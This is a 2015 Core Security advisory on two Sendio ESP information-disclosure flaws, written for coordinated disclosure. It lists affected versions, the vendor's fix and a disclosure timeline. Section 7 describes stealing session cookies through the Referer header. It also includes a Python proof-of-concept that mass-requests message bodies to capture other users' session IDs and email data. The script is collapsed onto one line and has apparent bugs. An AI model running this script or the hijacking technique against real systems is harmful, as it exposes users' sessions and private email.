Sendio ESP Information Disclosure Vulnerability

Advisory ID Internal

1. Advisory Information

Title: Sendio ESP Information Disclosure Vulnerability
Advisory ID: CORE-2015-0010
Advisory URL:
Date published: 2015-05-22
Date of last update: 2015-05-22
Vendors contacted: Sendio
Release mode: Coordinated release

2. Vulnerability Information

Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management [CWE-930], Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0999, CVE-2014-8391

3. Vulnerability Description

Sendio [1] ESP (E-mail Security Platform) is a network appliance which provides anti-spam and anti-virus solutions for enterprises. Two information disclosure issues were found affecting some versions of this software, and can lead to leakage of sensitive information such as user's session identifiers and/or user's email messages.

4. Vulnerable Packages

  • Sendio 6 (14.1120.0)

Other products and versions might be affected too, but they were not tested.

5. Vendor Information, Solutions and Workarounds

Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on Sendio software Version 7.2.4.

For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions and not HTTPS web sessions. Sendio recommends that customers who have not upgraded to Version 7.2.4 should disallow HTTP on their Sendio product and only use HTTPS.

6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security's Consulting Services Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security's Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Disclosure of session cookie in Web interface URLs

The Sendio [1] ESP Web interface authenticates users with a session cookie named "jsessionid". The vulnerability [CVE-2014-0999] is caused due the way the Sendio ESP Web interface handles this authentication cookie, as the "jsessionid" cookie value is included in URLs when obtaining the content of emails. The URLs used by the application follow this format:


This causes the application to disclose the session identifier value, allowing attackers to perform session hijacking. An attacker might perform this kind of attack by sending an email message containing links or embedded image HTML tags pointing to a controlled web site, and then accessing the victim's session cookies through the "Referrer" HTTP header. Accessing this authentication cookie might allow an attacker to hijack a victim's session and obtain access to email messages or perform actions on behalf of the victim.

7.2. Response mixup in Web interface

The vulnerability [CVE-2014-8391] is caused by an improper handling of users' sessions by the Web interface. Under certain conditions, this could lead to the server disclosing sensitive information that was intended for a different user. This information includes, for instance, other users' session identifiers, email message identifiers or email message subjects. In order to trigger this vulnerability, requests should be authenticated.

The following Python script can be used to trigger this vulnerability under certain circumstances:

 import requests domain = "" # The target domain port = 8888 # The target port jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # A valid jsessionid num = 100000 # No of request to make msgid = 9999999 # A valid message id to baseline the requests url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, jsessionid) def make_request(id): params = {"id": str(id)} headers = {"Cookie": "JSESSIONID=%s" % jsessionid} return requests.get(url, params=params, headers=headers) print "[*] Reaching the target to define baseline" r = make_request(msgid) baseline_length = r.headers["content-length"] print "[*] Defined baseline: %d bytes" % baseline_length for id in range(0, num): r = make_request(msgid) rlength = int(r.headers["content-length"]) if r.status_code == 200 and rlength != baseline_length: print "\t", r.status_code, rlength, r.text else: print "\t", r.status_code, rlength 

8. Report Timeline

  • 2015-03-26: Core Security sent an initial notification to Sendio informing them that multiple vulnerabilities were found in one of their products, and requested their PGP keys in order to start an encrypted communication.
  • 2015-03-27: Sendio replied that they would not be able to use PGP keys, but stated that their In/out SMTP gateway uses TLS, so that should suffice. They detailed that they were working on a fix for the "CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability and estimated it would be released by the end of April, 2015. They requested additional technical details for the "CS_SENDIO_INFO_LEAK" vulnerability.
  • 2015-03-30: Core Security informed that understood that Sendio may not be able to use PGP keys, but Core doesn't consider the use of TLS as a replacement for PGP. Core Security requested to receive confirmation from Sendio in case they wanted to keep the communications unencrypted with PGP in order to send them a draft version of the advisory.
  • 2015-03-30: Sendio confirmed that the communication can remain "as is" without PGP. They will inform Core once they have a specific date for publishing the fix. Sendio requested a PoC for the "CS_SENDIO_INFO_LEAK vulnerability".
  • 2015-03-31: Core Security sent a draft version of the advisory and PoC to Sendio.
  • 2015-03-31: Sendio confirmed reception of the advisory and PoC and informed Core that they would provide an update on their test on April 6.
  • 2015-04-06: Sendio informed Core that they were able to reproduce the "CS_SENDIO_INFO_LEAK" issue and that were still analyzing it in order to create a fix.
  • 2015-04-07: Core Security requested an estimated date for the release of a fix/update.
  • 2015-04-13: Core Security again requested an answer from Sendio regarding the release of a fix/update.
  • 2015-04-13: Sendio informed Core they were still working on a fix for the JSession issue that covers all use cases across Microsoft Outlook and the various supported web browsers. For the "CS_SENDIO_INFO_LEAK" they had coded a fix that was undergoing a System Test. Sendio estimated the release would take place on May 15, 2015.
  • 2015-04-20: Sendio informed Core they were still planning to release the fixes by May 15, 2015.
  • 2015-04-20: Core Security thanked Sendio for the update and informed them they would schedule their security advisory accordingly.
  • 2015-04-24: Core Security requested that Sendio delay the release date of the fixes until Monday, May 18 in order to avoid publishing them on a Friday.
  • 2015-04-27: Sendio informed Core that many of their customers have their Sendio systems set to "automatically update" on weekends. Sendio requested Core publish their advisory a week after the fix is published. Sendio also requested the ability to add some workarounds into Core's advisory.
  • 2015-04-28: Core Security informed Sendio that they understood their update policy and let them know that it is Core's policy to publish their advisory the same day the fix is released in order to inform the affected users of its availability. Core also stated that they were willing to add any workarounds Sendio proposed.
  • 2015-05-05: Sendio informed Core that they were still having problems developing a fix for the JSession vulnerability, therefore they may have to postpone the release date from May 15 to May 22.
  • 2015-05-07: Core Security thanked Sendio for the update and requested to be kept informed in order to have enough time to schedule their advisory.
  • 2015-05-12: Sendio confirmed that they needed to delay the publication of the fixes until May 21. Additionally, Sendio sent Core the proposed workarounds to be added in Core's advisory and requested a draft copy of it.
  • 2015-05-15: Core Security informed Sendio it would reschedule the publication of their advisory and would send them a draft copy of it once they produced the final version.
  • 2015-05-20: Sendio informed Core that they would publish the fixes at 10 PM, May 21.
  • 2015-05-20: Core Security informed Sendio that based on their publication time they would have to delay the release of the advisory until Friday 22.
  • 2015-05-22: Advisory CORE-2015-0010 published.

9. References


10. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at  

11. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.